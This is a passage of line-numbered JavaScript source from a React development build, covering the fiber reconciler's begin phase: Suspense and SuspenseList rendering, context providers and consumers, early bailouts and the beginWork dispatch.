20779 // Conceptually this is similar to Placement in that a new subtree is
20780 // inserted into the React tree here. It just happens to not need DOM
20781 // mutations because it already exists.
20782
20783 primaryChildFragment.flags |= Hydrating;
20784 return primaryChildFragment;
20785 }
20786 } else {
20787 // This is the second render pass. We already attempted to hydrated, but
20788 // something either suspended or errored.
20789 if (workInProgress.flags & ForceClientRender) {
20790 // Something errored during hydration. Try again without hydrating.
20791 workInProgress.flags &= ~ForceClientRender;
20792
20793 var _capturedValue2 = createCapturedValue(new Error('There was an error while hydrating this Suspense boundary. ' + 'Switched to client rendering.'));
20794
20795 return retrySuspenseComponentWithoutHydrating(current, workInProgress, renderLanes, _capturedValue2);
20796 } else if (workInProgress.memoizedState !== null) {
20797 // Something suspended and we should still be in dehydrated mode.
20798 // Leave the existing child in place.
20799 workInProgress.child = current.child; // The dehydrated completion pass expects this flag to be there
20800 // but the normal suspense pass doesn't.
20801
20802 workInProgress.flags |= DidCapture;
20803 return null;
20804 } else {
20805 // Suspended but we should no longer be in dehydrated mode.
20806 // Therefore we now have to render the fallback.
20807 var nextPrimaryChildren = nextProps.children;
20808 var nextFallbackChildren = nextProps.fallback;
20809 var fallbackChildFragment = mountSuspenseFallbackAfterRetryWithoutHydrating(current, workInProgress, nextPrimaryChildren, nextFallbackChildren, renderLanes);
20810 var _primaryChildFragment4 = workInProgress.child;
20811 _primaryChildFragment4.memoizedState = mountSuspenseOffscreenState(renderLanes);
20812 workInProgress.memoizedState = SUSPENDED_MARKER;
20813 return fallbackChildFragment;
20814 }
20815 }
20816 }
20817
20818 function scheduleSuspenseWorkOnFiber(fiber, renderLanes, propagationRoot) {
20819 fiber.lanes = mergeLanes(fiber.lanes, renderLanes);
20820 var alternate = fiber.alternate;
20821
20822 if (alternate !== null) {
20823 alternate.lanes = mergeLanes(alternate.lanes, renderLanes);
20824 }
20825
20826 scheduleContextWorkOnParentPath(fiber.return, renderLanes, propagationRoot);
20827 }
20828
20829 function propagateSuspenseContextChange(workInProgress, firstChild, renderLanes) {
20830 // Mark any Suspense boundaries with fallbacks as having work to do.
20831 // If they were previously forced into fallbacks, they may now be able
20832 // to unblock.
20833 var node = firstChild;
20834
20835 while (node !== null) {
20836 if (node.tag === SuspenseComponent) {
20837 var state = node.memoizedState;
20838
20839 if (state !== null) {
20840 scheduleSuspenseWorkOnFiber(node, renderLanes, workInProgress);
20841 }
20842 } else if (node.tag === SuspenseListComponent) {
20843 // If the tail is hidden there might not be an Suspense boundaries
20844 // to schedule work on. In this case we have to schedule it on the
20845 // list itself.
20846 // We don't have to traverse to the children of the list since
20847 // the list will propagate the change when it rerenders.
20848 scheduleSuspenseWorkOnFiber(node, renderLanes, workInProgress);
20849 } else if (node.child !== null) {
20850 node.child.return = node;
20851 node = node.child;
20852 continue;
20853 }
20854
20855 if (node === workInProgress) {
20856 return;
20857 }
20858
20859 while (node.sibling === null) {
20860 if (node.return === null || node.return === workInProgress) {
20861 return;
20862 }
20863
20864 node = node.return;
20865 }
20866
20867 node.sibling.return = node.return;
20868 node = node.sibling;
20869 }
20870 }
20871
20872 function findLastContentRow(firstChild) {
20873 // This is going to find the last row among these children that is already
20874 // showing content on the screen, as opposed to being in fallback state or
20875 // new. If a row has multiple Suspense boundaries, any of them being in the
20876 // fallback state, counts as the whole row being in a fallback state.
20877 // Note that the "rows" will be workInProgress, but any nested children
20878 // will still be current since we haven't rendered them yet. The mounted
20879 // order may not be the same as the new order. We use the new order.
20880 var row = firstChild;
20881 var lastContentRow = null;
20882
20883 while (row !== null) {
20884 var currentRow = row.alternate; // New rows can't be content rows.
20885
20886 if (currentRow !== null && findFirstSuspended(currentRow) === null) {
20887 lastContentRow = row;
20888 }
20889
20890 row = row.sibling;
20891 }
20892
20893 return lastContentRow;
20894 }
20895
20896 function validateRevealOrder(revealOrder) {
20897 {
20898 if (revealOrder !== undefined && revealOrder !== 'forwards' && revealOrder !== 'backwards' && revealOrder !== 'together' && !didWarnAboutRevealOrder[revealOrder]) {
20899 didWarnAboutRevealOrder[revealOrder] = true;
20900
20901 if (typeof revealOrder === 'string') {
20902 switch (revealOrder.toLowerCase()) {
20903 case 'together':
20904 case 'forwards':
20905 case 'backwards':
20906 {
20907 error('"%s" is not a valid value for revealOrder on <SuspenseList />. ' + 'Use lowercase "%s" instead.', revealOrder, revealOrder.toLowerCase());
20908
20909 break;
20910 }
20911
20912 case 'forward':
20913 case 'backward':
20914 {
20915 error('"%s" is not a valid value for revealOrder on <SuspenseList />. ' + 'React uses the -s suffix in the spelling. Use "%ss" instead.', revealOrder, revealOrder.toLowerCase());
20916
20917 break;
20918 }
20919
20920 default:
20921 error('"%s" is not a supported revealOrder on <SuspenseList />. ' + 'Did you mean "together", "forwards" or "backwards"?', revealOrder);
20922
20923 break;
20924 }
20925 } else {
20926 error('%s is not a supported value for revealOrder on <SuspenseList />. ' + 'Did you mean "together", "forwards" or "backwards"?', revealOrder);
20927 }
20928 }
20929 }
20930 }
20931
20932 function validateTailOptions(tailMode, revealOrder) {
20933 {
20934 if (tailMode !== undefined && !didWarnAboutTailOptions[tailMode]) {
20935 if (tailMode !== 'collapsed' && tailMode !== 'hidden') {
20936 didWarnAboutTailOptions[tailMode] = true;
20937
20938 error('"%s" is not a supported value for tail on <SuspenseList />. ' + 'Did you mean "collapsed" or "hidden"?', tailMode);
20939 } else if (revealOrder !== 'forwards' && revealOrder !== 'backwards') {
20940 didWarnAboutTailOptions[tailMode] = true;
20941
20942 error('<SuspenseList tail="%s" /> is only valid if revealOrder is ' + '"forwards" or "backwards". ' + 'Did you mean to specify revealOrder="forwards"?', tailMode);
20943 }
20944 }
20945 }
20946 }
20947
20948 function validateSuspenseListNestedChild(childSlot, index) {
20949 {
20950 var isAnArray = isArray(childSlot);
20951 var isIterable = !isAnArray && typeof getIteratorFn(childSlot) === 'function';
20952
20953 if (isAnArray || isIterable) {
20954 var type = isAnArray ? 'array' : 'iterable';
20955
20956 error('A nested %s was passed to row #%s in <SuspenseList />. Wrap it in ' + 'an additional SuspenseList to configure its revealOrder: ' + '<SuspenseList revealOrder=...> ... ' + '<SuspenseList revealOrder=...>{%s}</SuspenseList> ... ' + '</SuspenseList>', type, index, type);
20957
20958 return false;
20959 }
20960 }
20961
20962 return true;
20963 }
20964
20965 function validateSuspenseListChildren(children, revealOrder) {
20966 {
20967 if ((revealOrder === 'forwards' || revealOrder === 'backwards') && children !== undefined && children !== null && children !== false) {
20968 if (isArray(children)) {
20969 for (var i = 0; i < children.length; i++) {
20970 if (!validateSuspenseListNestedChild(children[i], i)) {
20971 return;
20972 }
20973 }
20974 } else {
20975 var iteratorFn = getIteratorFn(children);
20976
20977 if (typeof iteratorFn === 'function') {
20978 var childrenIterator = iteratorFn.call(children);
20979
20980 if (childrenIterator) {
20981 var step = childrenIterator.next();
20982 var _i = 0;
20983
20984 for (; !step.done; step = childrenIterator.next()) {
20985 if (!validateSuspenseListNestedChild(step.value, _i)) {
20986 return;
20987 }
20988
20989 _i++;
20990 }
20991 }
20992 } else {
20993 error('A single row was passed to a <SuspenseList revealOrder="%s" />. ' + 'This is not useful since it needs multiple rows. ' + 'Did you mean to pass multiple children or an array?', revealOrder);
20994 }
20995 }
20996 }
20997 }
20998 }
20999
21000 function initSuspenseListRenderState(workInProgress, isBackwards, tail, lastContentRow, tailMode) {
21001 var renderState = workInProgress.memoizedState;
21002
21003 if (renderState === null) {
21004 workInProgress.memoizedState = {
21005 isBackwards: isBackwards,
21006 rendering: null,
21007 renderingStartTime: 0,
21008 last: lastContentRow,
21009 tail: tail,
21010 tailMode: tailMode
21011 };
21012 } else {
21013 // We can reuse the existing object from previous renders.
21014 renderState.isBackwards = isBackwards;
21015 renderState.rendering = null;
21016 renderState.renderingStartTime = 0;
21017 renderState.last = lastContentRow;
21018 renderState.tail = tail;
21019 renderState.tailMode = tailMode;
21020 }
21021 } // This can end up rendering this component multiple passes.
21022 // The first pass splits the children fibers into two sets. A head and tail.
21023 // We first render the head. If anything is in fallback state, we do another
21024 // pass through beginWork to rerender all children (including the tail) with
21025 // the force suspend context. If the first render didn't have anything in
21026 // in fallback state. Then we render each row in the tail one-by-one.
21027 // That happens in the completeWork phase without going back to beginWork.
21028
21029
21030 function updateSuspenseListComponent(current, workInProgress, renderLanes) {
21031 var nextProps = workInProgress.pendingProps;
21032 var revealOrder = nextProps.revealOrder;
21033 var tailMode = nextProps.tail;
21034 var newChildren = nextProps.children;
21035 validateRevealOrder(revealOrder);
21036 validateTailOptions(tailMode, revealOrder);
21037 validateSuspenseListChildren(newChildren, revealOrder);
21038 reconcileChildren(current, workInProgress, newChildren, renderLanes);
21039 var suspenseContext = suspenseStackCursor.current;
21040 var shouldForceFallback = hasSuspenseContext(suspenseContext, ForceSuspenseFallback);
21041
21042 if (shouldForceFallback) {
21043 suspenseContext = setShallowSuspenseContext(suspenseContext, ForceSuspenseFallback);
21044 workInProgress.flags |= DidCapture;
21045 } else {
21046 var didSuspendBefore = current !== null && (current.flags & DidCapture) !== NoFlags;
21047
21048 if (didSuspendBefore) {
21049 // If we previously forced a fallback, we need to schedule work
21050 // on any nested boundaries to let them know to try to render
21051 // again. This is the same as context updating.
21052 propagateSuspenseContextChange(workInProgress, workInProgress.child, renderLanes);
21053 }
21054
21055 suspenseContext = setDefaultShallowSuspenseContext(suspenseContext);
21056 }
21057
21058 pushSuspenseContext(workInProgress, suspenseContext);
21059
21060 if ((workInProgress.mode & ConcurrentMode) === NoMode) {
21061 // In legacy mode, SuspenseList doesn't work so we just
21062 // use make it a noop by treating it as the default revealOrder.
21063 workInProgress.memoizedState = null;
21064 } else {
21065 switch (revealOrder) {
21066 case 'forwards':
21067 {
21068 var lastContentRow = findLastContentRow(workInProgress.child);
21069 var tail;
21070
21071 if (lastContentRow === null) {
21072 // The whole list is part of the tail.
21073 // TODO: We could fast path by just rendering the tail now.
21074 tail = workInProgress.child;
21075 workInProgress.child = null;
21076 } else {
21077 // Disconnect the tail rows after the content row.
21078 // We're going to render them separately later.
21079 tail = lastContentRow.sibling;
21080 lastContentRow.sibling = null;
21081 }
21082
21083 initSuspenseListRenderState(workInProgress, false, // isBackwards
21084 tail, lastContentRow, tailMode);
21085 break;
21086 }
21087
21088 case 'backwards':
21089 {
21090 // We're going to find the first row that has existing content.
21091 // At the same time we're going to reverse the list of everything
21092 // we pass in the meantime. That's going to be our tail in reverse
21093 // order.
21094 var _tail = null;
21095 var row = workInProgress.child;
21096 workInProgress.child = null;
21097
21098 while (row !== null) {
21099 var currentRow = row.alternate; // New rows can't be content rows.
21100
21101 if (currentRow !== null && findFirstSuspended(currentRow) === null) {
21102 // This is the beginning of the main content.
21103 workInProgress.child = row;
21104 break;
21105 }
21106
21107 var nextRow = row.sibling;
21108 row.sibling = _tail;
21109 _tail = row;
21110 row = nextRow;
21111 } // TODO: If workInProgress.child is null, we can continue on the tail immediately.
21112
21113
21114 initSuspenseListRenderState(workInProgress, true, // isBackwards
21115 _tail, null, // last
21116 tailMode);
21117 break;
21118 }
21119
21120 case 'together':
21121 {
21122 initSuspenseListRenderState(workInProgress, false, // isBackwards
21123 null, // tail
21124 null, // last
21125 undefined);
21126 break;
21127 }
21128
21129 default:
21130 {
21131 // The default reveal order is the same as not having
21132 // a boundary.
21133 workInProgress.memoizedState = null;
21134 }
21135 }
21136 }
21137
21138 return workInProgress.child;
21139 }
21140
21141 function updatePortalComponent(current, workInProgress, renderLanes) {
21142 pushHostContainer(workInProgress, workInProgress.stateNode.containerInfo);
21143 var nextChildren = workInProgress.pendingProps;
21144
21145 if (current === null) {
21146 // Portals are special because we don't append the children during mount
21147 // but at commit. Therefore we need to track insertions which the normal
21148 // flow doesn't do during mount. This doesn't happen at the root because
21149 // the root always starts with a "current" with a null child.
21150 // TODO: Consider unifying this with how the root works.
21151 workInProgress.child = reconcileChildFibers(workInProgress, null, nextChildren, renderLanes);
21152 } else {
21153 reconcileChildren(current, workInProgress, nextChildren, renderLanes);
21154 }
21155
21156 return workInProgress.child;
21157 }
21158
21159 var hasWarnedAboutUsingNoValuePropOnContextProvider = false;
21160
21161 function updateContextProvider(current, workInProgress, renderLanes) {
21162 var providerType = workInProgress.type;
21163 var context = providerType._context;
21164 var newProps = workInProgress.pendingProps;
21165 var oldProps = workInProgress.memoizedProps;
21166 var newValue = newProps.value;
21167
21168 {
21169 if (!('value' in newProps)) {
21170 if (!hasWarnedAboutUsingNoValuePropOnContextProvider) {
21171 hasWarnedAboutUsingNoValuePropOnContextProvider = true;
21172
21173 error('The `value` prop is required for the `<Context.Provider>`. Did you misspell it or forget to pass it?');
21174 }
21175 }
21176
21177 var providerPropTypes = workInProgress.type.propTypes;
21178
21179 if (providerPropTypes) {
21180 checkPropTypes(providerPropTypes, newProps, 'prop', 'Context.Provider');
21181 }
21182 }
21183
21184 pushProvider(workInProgress, context, newValue);
21185
21186 {
21187 if (oldProps !== null) {
21188 var oldValue = oldProps.value;
21189
21190 if (objectIs(oldValue, newValue)) {
21191 // No change. Bailout early if children are the same.
21192 if (oldProps.children === newProps.children && !hasContextChanged()) {
21193 return bailoutOnAlreadyFinishedWork(current, workInProgress, renderLanes);
21194 }
21195 } else {
21196 // The context value changed. Search for matching consumers and schedule
21197 // them to update.
21198 propagateContextChange(workInProgress, context, renderLanes);
21199 }
21200 }
21201 }
21202
21203 var newChildren = newProps.children;
21204 reconcileChildren(current, workInProgress, newChildren, renderLanes);
21205 return workInProgress.child;
21206 }
21207
21208 var hasWarnedAboutUsingContextAsConsumer = false;
21209
21210 function updateContextConsumer(current, workInProgress, renderLanes) {
21211 var context = workInProgress.type; // The logic below for Context differs depending on PROD or DEV mode. In
21212 // DEV mode, we create a separate object for Context.Consumer that acts
21213 // like a proxy to Context. This proxy object adds unnecessary code in PROD
21214 // so we use the old behaviour (Context.Consumer references Context) to
21215 // reduce size and overhead. The separate object references context via
21216 // a property called "_context", which also gives us the ability to check
21217 // in DEV mode if this property exists or not and warn if it does not.
21218
21219 {
21220 if (context._context === undefined) {
21221 // This may be because it's a Context (rather than a Consumer).
21222 // Or it may be because it's older React where they're the same thing.
21223 // We only want to warn if we're sure it's a new React.
21224 if (context !== context.Consumer) {
21225 if (!hasWarnedAboutUsingContextAsConsumer) {
21226 hasWarnedAboutUsingContextAsConsumer = true;
21227
21228 error('Rendering <Context> directly is not supported and will be removed in ' + 'a future major release. Did you mean to render <Context.Consumer> instead?');
21229 }
21230 }
21231 } else {
21232 context = context._context;
21233 }
21234 }
21235
21236 var newProps = workInProgress.pendingProps;
21237 var render = newProps.children;
21238
21239 {
21240 if (typeof render !== 'function') {
21241 error('A context consumer was rendered with multiple children, or a child ' + "that isn't a function. A context consumer expects a single child " + 'that is a function. If you did pass a function, make sure there ' + 'is no trailing or leading whitespace around it.');
21242 }
21243 }
21244
21245 prepareToReadContext(workInProgress, renderLanes);
21246 var newValue = readContext(context);
21247
21248 {
21249 markComponentRenderStarted(workInProgress);
21250 }
21251
21252 var newChildren;
21253
21254 {
21255 ReactCurrentOwner$1.current = workInProgress;
21256 setIsRendering(true);
21257 newChildren = render(newValue);
21258 setIsRendering(false);
21259 }
21260
21261 {
21262 markComponentRenderStopped();
21263 } // React DevTools reads this flag.
21264
21265
21266 workInProgress.flags |= PerformedWork;
21267 reconcileChildren(current, workInProgress, newChildren, renderLanes);
21268 return workInProgress.child;
21269 }
21270
21271 function markWorkInProgressReceivedUpdate() {
21272 didReceiveUpdate = true;
21273 }
21274
21275 function resetSuspendedCurrentOnMountInLegacyMode(current, workInProgress) {
21276 if ((workInProgress.mode & ConcurrentMode) === NoMode) {
21277 if (current !== null) {
21278 // A lazy component only mounts if it suspended inside a non-
21279 // concurrent tree, in an inconsistent state. We want to treat it like
21280 // a new mount, even though an empty version of it already committed.
21281 // Disconnect the alternate pointers.
21282 current.alternate = null;
21283 workInProgress.alternate = null; // Since this is conceptually a new fiber, schedule a Placement effect
21284
21285 workInProgress.flags |= Placement;
21286 }
21287 }
21288 }
21289
21290 function bailoutOnAlreadyFinishedWork(current, workInProgress, renderLanes) {
21291 if (current !== null) {
21292 // Reuse previous dependencies
21293 workInProgress.dependencies = current.dependencies;
21294 }
21295
21296 {
21297 // Don't update "base" render times for bailouts.
21298 stopProfilerTimerIfRunning();
21299 }
21300
21301 markSkippedUpdateLanes(workInProgress.lanes); // Check if the children have any pending work.
21302
21303 if (!includesSomeLane(renderLanes, workInProgress.childLanes)) {
21304 // The children don't have any work either. We can skip them.
21305 // TODO: Once we add back resuming, we should check if the children are
21306 // a work-in-progress set. If so, we need to transfer their effects.
21307 {
21308 return null;
21309 }
21310 } // This fiber doesn't have work, but its subtree does. Clone the child
21311 // fibers and continue.
21312
21313
21314 cloneChildFibers(current, workInProgress);
21315 return workInProgress.child;
21316 }
21317
21318 function remountFiber(current, oldWorkInProgress, newWorkInProgress) {
21319 {
21320 var returnFiber = oldWorkInProgress.return;
21321
21322 if (returnFiber === null) {
21323 // eslint-disable-next-line react-internal/prod-error-codes
21324 throw new Error('Cannot swap the root fiber.');
21325 } // Disconnect from the old current.
21326 // It will get deleted.
21327
21328
21329 current.alternate = null;
21330 oldWorkInProgress.alternate = null; // Connect to the new tree.
21331
21332 newWorkInProgress.index = oldWorkInProgress.index;
21333 newWorkInProgress.sibling = oldWorkInProgress.sibling;
21334 newWorkInProgress.return = oldWorkInProgress.return;
21335 newWorkInProgress.ref = oldWorkInProgress.ref; // Replace the child/sibling pointers above it.
21336
21337 if (oldWorkInProgress === returnFiber.child) {
21338 returnFiber.child = newWorkInProgress;
21339 } else {
21340 var prevSibling = returnFiber.child;
21341
21342 if (prevSibling === null) {
21343 // eslint-disable-next-line react-internal/prod-error-codes
21344 throw new Error('Expected parent to have a child.');
21345 }
21346
21347 while (prevSibling.sibling !== oldWorkInProgress) {
21348 prevSibling = prevSibling.sibling;
21349
21350 if (prevSibling === null) {
21351 // eslint-disable-next-line react-internal/prod-error-codes
21352 throw new Error('Expected to find the previous sibling.');
21353 }
21354 }
21355
21356 prevSibling.sibling = newWorkInProgress;
21357 } // Delete the old fiber and place the new one.
21358 // Since the old fiber is disconnected, we have to schedule it manually.
21359
21360
21361 var deletions = returnFiber.deletions;
21362
21363 if (deletions === null) {
21364 returnFiber.deletions = [current];
21365 returnFiber.flags |= ChildDeletion;
21366 } else {
21367 deletions.push(current);
21368 }
21369
21370 newWorkInProgress.flags |= Placement; // Restart work from the new fiber.
21371
21372 return newWorkInProgress;
21373 }
21374 }
21375
21376 function checkScheduledUpdateOrContext(current, renderLanes) {
21377 // Before performing an early bailout, we must check if there are pending
21378 // updates or context.
21379 var updateLanes = current.lanes;
21380
21381 if (includesSomeLane(updateLanes, renderLanes)) {
21382 return true;
21383 } // No pending update, but because context is propagated lazily, we need
21384
21385 return false;
21386 }
21387
21388 function attemptEarlyBailoutIfNoScheduledUpdate(current, workInProgress, renderLanes) {
21389 // This fiber does not have any pending work. Bailout without entering
21390 // the begin phase. There's still some bookkeeping we that needs to be done
21391 // in this optimized path, mostly pushing stuff onto the stack.
21392 switch (workInProgress.tag) {
21393 case HostRoot:
21394 pushHostRootContext(workInProgress);
21395 var root = workInProgress.stateNode;
21396
21397 resetHydrationState();
21398 break;
21399
21400 case HostComponent:
21401 pushHostContext(workInProgress);
21402 break;
21403
21404 case ClassComponent:
21405 {
21406 var Component = workInProgress.type;
21407
21408 if (isContextProvider(Component)) {
21409 pushContextProvider(workInProgress);
21410 }
21411
21412 break;
21413 }
21414
21415 case HostPortal:
21416 pushHostContainer(workInProgress, workInProgress.stateNode.containerInfo);
21417 break;
21418
21419 case ContextProvider:
21420 {
21421 var newValue = workInProgress.memoizedProps.value;
21422 var context = workInProgress.type._context;
21423 pushProvider(workInProgress, context, newValue);
21424 break;
21425 }
21426
21427 case Profiler:
21428 {
21429 // Profiler should only call onRender when one of its descendants actually rendered.
21430 var hasChildWork = includesSomeLane(renderLanes, workInProgress.childLanes);
21431
21432 if (hasChildWork) {
21433 workInProgress.flags |= Update;
21434 }
21435
21436 {
21437 // Reset effect durations for the next eventual effect phase.
21438 // These are reset during render to allow the DevTools commit hook a chance to read them,
21439 var stateNode = workInProgress.stateNode;
21440 stateNode.effectDuration = 0;
21441 stateNode.passiveEffectDuration = 0;
21442 }
21443 }
21444
21445 break;
21446
21447 case SuspenseComponent:
21448 {
21449 var state = workInProgress.memoizedState;
21450
21451 if (state !== null) {
21452 if (state.dehydrated !== null) {
21453 pushSuspenseContext(workInProgress, setDefaultShallowSuspenseContext(suspenseStackCursor.current)); // We know that this component will suspend again because if it has
21454 // been unsuspended it has committed as a resolved Suspense component.
21455 // If it needs to be retried, it should have work scheduled on it.
21456
21457 workInProgress.flags |= DidCapture; // We should never render the children of a dehydrated boundary until we
21458 // upgrade it. We return null instead of bailoutOnAlreadyFinishedWork.
21459
21460 return null;
21461 } // If this boundary is currently timed out, we need to decide
21462 // whether to retry the primary children, or to skip over it and
21463 // go straight to the fallback. Check the priority of the primary
21464 // child fragment.
21465
21466
21467 var primaryChildFragment = workInProgress.child;
21468 var primaryChildLanes = primaryChildFragment.childLanes;
21469
21470 if (includesSomeLane(renderLanes, primaryChildLanes)) {
21471 // The primary children have pending work. Use the normal path
21472 // to attempt to render the primary children again.
21473 return updateSuspenseComponent(current, workInProgress, renderLanes);
21474 } else {
21475 // The primary child fragment does not have pending work marked
21476 // on it
21477 pushSuspenseContext(workInProgress, setDefaultShallowSuspenseContext(suspenseStackCursor.current)); // The primary children do not have pending work with sufficient
21478 // priority. Bailout.
21479
21480 var child = bailoutOnAlreadyFinishedWork(current, workInProgress, renderLanes);
21481
21482 if (child !== null) {
21483 // The fallback children have pending work. Skip over the
21484 // primary children and work on the fallback.
21485 return child.sibling;
21486 } else {
21487 // Note: We can return `null` here because we already checked
21488 // whether there were nested context consumers, via the call to
21489 // `bailoutOnAlreadyFinishedWork` above.
21490 return null;
21491 }
21492 }
21493 } else {
21494 pushSuspenseContext(workInProgress, setDefaultShallowSuspenseContext(suspenseStackCursor.current));
21495 }
21496
21497 break;
21498 }
21499
21500 case SuspenseListComponent:
21501 {
21502 var didSuspendBefore = (current.flags & DidCapture) !== NoFlags;
21503
21504 var _hasChildWork = includesSomeLane(renderLanes, workInProgress.childLanes);
21505
21506 if (didSuspendBefore) {
21507 if (_hasChildWork) {
21508 // If something was in fallback state last time, and we have all the
21509 // same children then we're still in progressive loading state.
21510 // Something might get unblocked by state updates or retries in the
21511 // tree which will affect the tail. So we need to use the normal
21512 // path to compute the correct tail.
21513 return updateSuspenseListComponent(current, workInProgress, renderLanes);
21514 } // If none of the children had any work, that means that none of
21515 // them got retried so they'll still be blocked in the same way
21516 // as before. We can fast bail out.
21517
21518
21519 workInProgress.flags |= DidCapture;
21520 } // If nothing suspended before and we're rendering the same children,
21521 // then the tail doesn't matter. Anything new that suspends will work
21522 // in the "together" mode, so we can continue from the state we had.
21523
21524
21525 var renderState = workInProgress.memoizedState;
21526
21527 if (renderState !== null) {
21528 // Reset to the "together" mode in case we've started a different
21529 // update in the past but didn't complete it.
21530 renderState.rendering = null;
21531 renderState.tail = null;
21532 renderState.lastEffect = null;
21533 }
21534
21535 pushSuspenseContext(workInProgress, suspenseStackCursor.current);
21536
21537 if (_hasChildWork) {
21538 break;
21539 } else {
21540 // If none of the children had any work, that means that none of
21541 // them got retried so they'll still be blocked in the same way
21542 // as before. We can fast bail out.
21543 return null;
21544 }
21545 }
21546
21547 case OffscreenComponent:
21548 case LegacyHiddenComponent:
21549 {
21550 // Need to check if the tree still needs to be deferred. This is
21551 // almost identical to the logic used in the normal update path,
21552 // so we'll just enter that. The only difference is we'll bail out
21553 // at the next level instead of this one, because the child props
21554 // have not changed. Which is fine.
21555 // TODO: Probably should refactor `beginWork` to split the bailout
21556 // path from the normal path. I'm tempted to do a labeled break here
21557 // but I won't :)
21558 workInProgress.lanes = NoLanes;
21559 return updateOffscreenComponent(current, workInProgress, renderLanes);
21560 }
21561 }
21562
21563 return bailoutOnAlreadyFinishedWork(current, workInProgress, renderLanes);
21564 }
21565
21566 function beginWork(current, workInProgress, renderLanes) {
21567 {
21568 if (workInProgress._debugNeedsRemount && current !== null) {
21569 // This will restart the begin phase with a new fiber.
21570 return remountFiber(current, workInProgress, createFiberFromTypeAndProps(workInProgress.type, workInProgress.key, workInProgress.pendingProps, workInProgress._debugOwner || null, workInProgress.mode, workInProgress.lanes));
21571 }
21572 }
21573
21574 if (current !== null) {
21575 var oldProps = current.memoizedProps;
21576 var newProps = workInProgress.pendingProps;
21577
21578 if (oldProps !== newProps || hasContextChanged() || ( // Force a re-render if the implementation changed due to hot reload:
21579 workInProgress.type !== current.type )) {
21580 // If props or context changed, mark the fiber as having performed work.
21581 // This may be unset if the props are determined to be equal later (memo).
21582 didReceiveUpdate = true;
21583 } else {
21584 // Neither props nor legacy context changes. Check if there's a pending
21585 // update or context change.
21586 var hasScheduledUpdateOrContext = checkScheduledUpdateOrContext(current, renderLanes);
21587
21588 if (!hasScheduledUpdateOrContext && // If this is the second pass of an error or suspense boundary, there
21589 // may not be work scheduled on `current`, so we check for this flag.
21590 (workInProgress.flags & DidCapture) === NoFlags) {
21591 // No pending updates or context. Bail out now.
21592 didReceiveUpdate = false;
21593 return attemptEarlyBailoutIfNoScheduledUpdate(current, workInProgress, renderLanes);
21594 }
21595
21596 if ((current.flags & ForceUpdateForLegacySuspense) !== NoFlags) {
21597 // This is a special case that only exists for legacy mode.
21598 // See https://github.com/facebook/react/pull/19216.
21599 didReceiveUpdate = true;
21600 } else {
21601 // An update was scheduled on this fiber, but there are no new props
21602 // nor legacy context. Set this to false. If an update queue or context
21603 // consumer produces a changed value, it will set this to true. Otherwise,
21604 // the component will assume the children have not changed and bail out.
21605 didReceiveUpdate = false;
21606 }
21607 }
21608 } else {
21609 didReceiveUpdate = false;
21610
21611 if (getIsHydrating() && isForkedChild(workInProgress)) {
21612 // Check if this child belongs to a list of muliple children in
21613 // its parent.
21614 //
21615 // In a true multi-threaded implementation, we would render children on
21616 // parallel threads. This would represent the beginning of a new render
21617 // thread for this subtree.
21618 //
21619 // We only use this for id generation during hydration, which is why the
21620 // logic is located in this special branch.
21621 var slotIndex = workInProgress.index;
21622 var numberOfForks = getForksAtLevel();
21623 pushTreeId(workInProgress, numberOfForks, slotIndex);
21624 }
21625 } // Before entering the begin phase, clear pending update priority.
21626 // TODO: This assumes that we're about to evaluate the component and process
21627 // the update queue. However, there's an exception: SimpleMemoComponent
21628 // sometimes bails out later in the begin phase. This indicates that we should
21629 // move this assignment out of the common path and into each branch.
21630
21631
21632 workInProgress.lanes = NoLanes;
21633
21634 switch (workInProgress.tag) {
21635 case IndeterminateComponent:
21636 {
21637 return mountIndeterminateComponent(current, workInProgress, workInProgress.type, renderLanes);
21638 }
21639
21640 case LazyComponent:
21641 {
21642 var elementType = workInProgress.elementType;
21643 return mountLazyComponent(current, workInProgress, elementType, renderLanes);
21644 }
21645
21646 case FunctionComponent:
21647 {
21648 var Component = workInProgress.type;
21649 var unresolvedProps = workInProgress.pendingProps;
21650 var resolvedProps = workInProgress.elementType === Component ? unresolvedProps : resolveDefaultProps(Component, unresolvedProps);
21651 return updateFunctionComponent(current, workInProgress, Component, resolvedProps, renderLanes);
21652 }
21653
21654 case ClassComponent:
21655 {
21656 var _Component = workInProgress.type;
21657 var _unresolvedProps = workInProgress.pendingProps;
21658
21659 var _resolvedProps = workInProgress.elementType === _Component ? _unresolvedProps : resolveDefaultProps(_Component, _unresolvedProps);
21660
21661 return updateClassComponent(current, workInProgress, _Component, _resolvedProps, renderLanes);
21662 }
21663
21664 case HostRoot:
21665 return updateHostRoot(current, workInProgress, renderLanes);
21666
21667 case HostComponent:
21668 return updateHostComponent(current, workInProgress, renderLanes);
21669
21670 case HostText:
21671 return updateHostText(current, workInProgress);
21672
21673 case SuspenseComponent:
21674 return updateSuspenseComponent(current, workInProgress, renderLanes);
21675
21676 case HostPortal:
21677 return updatePortalComponent(current, workInProgress, renderLanes);
21678
21679 case ForwardRef:
21680 {
21681 var type = workInProgress.type;
21682 var _unresolvedProps2 = workInProgress.pendingProps;
21683
21684 var _resolvedProps2 = workInProgress.elementType === type ? _unresolvedProps2 : resolveDefaultProps(type, _unresolvedProps2);
21685
21686 return updateForwardRef(current, workInProgress, type, _resolvedProps2, renderLanes);
21687 }
21688
21689 case Fragment:
21690 return updateFragment(current, workInProgress, renderLanes);
21691
21692 case Mode:
21693 return updateMode(current, workInProgress, renderLanes);
21694
21695 case Profiler:
21696 return updateProfiler(current, workInProgress, renderLanes);
21697
21698 case ContextProvider:
21699 return updateContextProvider(current, workInProgress, renderLanes);
21700
21701 case ContextConsumer:
21702 return updateContextConsumer(current, workInProgress, renderLanes);
21703
21704 case MemoComponent:
21705 {
21706 var _type2 = workInProgress.type;
21707 var _unresolvedProps3 = workInProgress.pendingProps; // Resolve outer props first, then resolve inner props.
21708
21709 var _resolvedProps3 = resolveDefaultProps(_type2, _unresolvedProps3);
21710
21711 {
21712 if (workInProgress.type !== workInProgress.elementType) {
21713 var outerPropTypes = _type2.propTypes;
21714
21715 if (outerPropTypes) {
21716 checkPropTypes(outerPropTypes, _resolvedProps3, // Resolved for outer only
21717 'prop', getComponentNameFromType(_type2));
21718 }
21719 }
21720 }
21721
21722 _resolvedProps3 = resolveDefaultProps(_type2.type, _resolvedProps3);
21723 return updateMemoComponent(current, workInProgress, _type2, _resolvedProps3, renderLanes);
21724 }
21725
21726 case SimpleMemoComponent:
21727 {
21728 return updateSimpleMemoComponent(current, workInProgress, workInProgress.type, workInProgress.pendingProps, renderLanes);
21729 }
21730
21731 case IncompleteClassComponent:
21732 {
21733 var _Component2 = workInProgress.type;
